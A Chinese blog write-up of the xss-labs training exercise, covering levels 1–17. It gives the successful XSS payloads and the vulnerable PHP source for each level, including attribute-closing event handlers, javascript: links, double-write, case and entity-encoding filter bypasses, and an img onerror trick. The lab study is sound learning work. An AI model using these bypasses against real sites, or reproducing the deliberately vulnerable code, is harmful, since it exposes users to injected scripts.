xss-labs

前言

主要记录我在做xss-labs时的方法和步骤,并对每关的防守绕过方式稍作总结,并没有过多的知识讲解。

1无过滤
2双引号包裹:闭合双引号>
3实体转换>,单引号包裹:使用事件,闭合单引号
4双引号包裹:闭合双引号
5on和ri用_分开,双引号包裹:利用a便签href属性,闭合">
6re,ri,on用_分开;大小写绕过
7对整个字母过滤;双写绕过
8大小写和双写都过滤;unicode编码
9特殊匹配;加上//http://
10输入框隐藏;前端直接修改
11referer处
12user-agent处
13cookie处
14有点问题不能做
15特殊ng-include包含
16script、/、空格替换成 用%0a代替空格
17火狐出不来,也是基础的语句,大可不必专门去做
18-20贴了几个专门讲解的,可以去看看(和flash相关的题目,可flash好像已经……)

第一关

get请求,提交变量test,test完整的显示,并出现在源代码中
在这里插入图片描述
尝试变量<script>alert(1)</script>,发现直接弹窗
在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

果然第一关,没有啥防护

第二关

仍然先尝试<script>alert(1)</script>,发现没有啥反应,查看页面源代码
在这里插入图片描述
发现绿框部分<>都被过滤掉了,但下面输入的value值仍然没有改变,但是被包裹住了,所以将包裹的前面部分闭合"><script>alert(1)</script>,发现成功弹窗
在这里插入图片描述
查看后台源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

是对输入keyword的值进行了htmlspecialchars()实体转换,但对输入的值无影响,只是输入的值被包裹住了,如果我们提交"><script>alert(1)</script>,php处理后返回的html就会是,因此会发生弹窗

第三关

直接尝试'><script>alert(1)</script>
在这里插入图片描述还是对<>进行了过滤,这里构造onclick事件'onclick='alert(1)
在这里插入图片描述
输入后点击触发事件,出现弹窗,查看后台源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

发现不管是我们输入的还是输出的都进行了htmlspecialchars()实体转换,所以我们构造onclick事件来触发弹窗,其实前面几题也都可以使用事件来完成弹窗

第四关

简单尝试"onclick="alert(1)发现直接弹窗,应该与第三关相似,查看后台源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

还是有点区别,但是过滤闭合方法差不多

第五关

还是尝试"onclick="alert(1)发现on被分开了
在这里插入图片描述再尝试<script>alert(1)</script>发现ri被分开了
在这里插入图片描述
但是<>是可以用的,所以这里利用a标签的href属性"><a href='javascript:alert(1)'>,仍然需要闭合<",点击">跳转
在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//对<script进行字符替换
$str3=str_replace("on","o_n",$str2);//对on进行字符替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

贴上源代码

第六关

尝试"><a href='javascript:alert(1)'>,发现re被分开了
在这里插入图片描述<script>alert(1)</script>,ri也被分开
在这里插入图片描述"onclick="alert(1),on也被分开
在这里插入图片描述
这里我们尝试大小写绕过"><a href='javascript:alert(1)'>,没想到直接成了
在这里插入图片描述其他的大小写绕过也可以,后台源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

还对src,data进行过滤

第七关

尝试<script>alert(1)</script>
在这里插入图片描述script就无了,试了下双写发现能出来一script,本来想">闭合再双写绕过,发现一个都出不来了
在这里插入图片描述
我们再尝试"><a hrehreff='javascscriptript:alert(1)'>,这里就直接双写加闭合了
在这里插入图片描述
发现可以,后台源代码


<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>


双写on也是可以的"oonnclick="alert(1)

第八关

添加友情链接,就是直接把框中内容提交到href="__"中
在这里插入图片描述
首先尝试javascript:alert(1),双写,大小写,发现都不行,所以尝试编码绕过&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;尝试hacker bar自带的base64,hex不行,最后用unicode编码发现可行,查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大写变小写的转化函数
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

第九关

尝试构造语句,emmmm竟然没有放到href后面去
在这里插入图片描述直接查看后台源代码吧

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

除了上面各种过滤外,还新加了一个匹配是否含有http://,其实过滤与上一关相同,所以我们在javascript:alert(1)后面加上一个http://,再进行编码,然后添加友情链接
在这里插入图片描述
笑死根本加不进去,我直接复制粘贴&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#47;&#47;&#104;&#116;&#116;&#112;&#58;&#47;&#47;

在这里插入图片描述
点击友情链接发现弹窗,可仔细观察,是不是不用编码,直接粘贴到前端这里就好了javascript:alert(1)//http://
在这里插入图片描述

第十关

没有输入框了,这关可能要在浏,等等,先看看前端代码把
在这里插入图片描述
我直接删掉三个hidden,我就有了三个框
在这里插入图片描述不过好像没有什么用,一个框就好了,在value中构造"onclick="alert(1),回车再点击框即可,源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

还是有过滤的,不过好像用onclick事件刚好碰运气绕过去了

第十一关

同样的方法再尝试一下
在这里插入图片描述
在这里插入图片描述哦?还有这种事?

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

过滤是有的,但运气也是有的

第十二关

解锁新成员User-Agent字段
在这里插入图片描述
删除hidden后直接尝试"onclick="alert(1),单击框

在这里插入图片描述

第十三关

还是老方法先尝试一下
在这里插入图片描述

emmm啊这啊这,是不是我投机取巧了,这几关咋这样

第十四关

上来就给我跳转走了
在这里插入图片描述在这里插入图片描述

网上的原因

第十五关

这关啥也没有,检查页面源代码啥也没发现,尝试传入参数
在这里插入图片描述好像没有过滤,但好像啥反应也没有,可能是我打开的姿势不对,因为14关直接关掉了,所以我从第一关直接跳过来的,这里应该是/level15.php?src=,这次发现
在这里插入图片描述
可以看到我们提交的参数插入到了标签的class属性值中,而且前面还有ng-include这样的字符(ng-include是angular js中的东西,其作用相当于php的include函数),那我们用它来包含一个本地有xss漏洞的文件来触发xss弹窗就好了
在这里插入图片描述
在这里插入图片描述
为啥还有个尖括号的过滤
在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

后台源代码,原来15关最后还有个实体过滤

第十六关

查看源代码也是啥也没有,直接尝试<script>alert(1)</script>,发现script/被过滤掉了
在这里插入图片描述
尝试<img src=x onerror=alert(1)>发现空格也被过滤了,我们用url编码来替换空格
在这里插入图片描述

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

后台源代码发现都被过滤换成&nbsp了,这个不也是空格吗?

第十七关

点击直接跑到第十八关,有点离谱
在这里插入图片描述
后台源代码

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

火狐不支持swf,放到其他浏览器应该行,不过也是一个简单语句就能绕过,大可不必专门去搞了

第十八关

贴几个写了内容的文章吧
18-20
19
19

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值